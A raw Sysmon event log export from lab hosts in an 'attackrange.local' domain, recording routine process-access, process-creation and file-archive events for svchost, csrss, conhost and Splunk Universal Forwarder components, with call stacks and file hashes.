15:06:35.574{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017844Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-747B-613B-3405-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017843Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.574{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-747B-613B-3405-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017842Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.575{625C326B-747B-613B-3405-00000000F101}2328C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017841Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.387{625C326B-747B-613B-3305-00000000F101}30441724C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017840Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-747B-613B-3305-00000000F101}3044C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017839Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017838Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017837Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017836Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017835Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017834Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017833Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017832Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017831Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017830Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-747B-613B-3305-00000000F101}3044C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017829Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.074{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-747B-613B-3305-00000000F101}3044C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017828Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:35.077{625C326B-747B-613B-3305-00000000F101}3044C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017871Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.949{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C565A73E7601A392E3EF5FD916D142CD,SHA256=8AB6B593615D530C6FCC993A1914FBE5806C871DA0DF580447A9B1D13ACB6940,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:36.516{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE5BF59C1B2446D4C66D2A866E8A1CDD,SHA256=4BCAB8BA5DF9A33DE963AD63226E56329225714572C640CF4F1649DB0B753574,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017870Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.106{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A53C1E81D1C3FD6B8BEEC4695E704CA9,SHA256=66B3B6182F357ED34A680B6002AA46AA995E3141DA36948DD99B5A0478E7EDC5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017869Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-747C-613B-3505-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017868Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017867Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017866Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017865Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017864Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017863Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:36.074{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017862Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 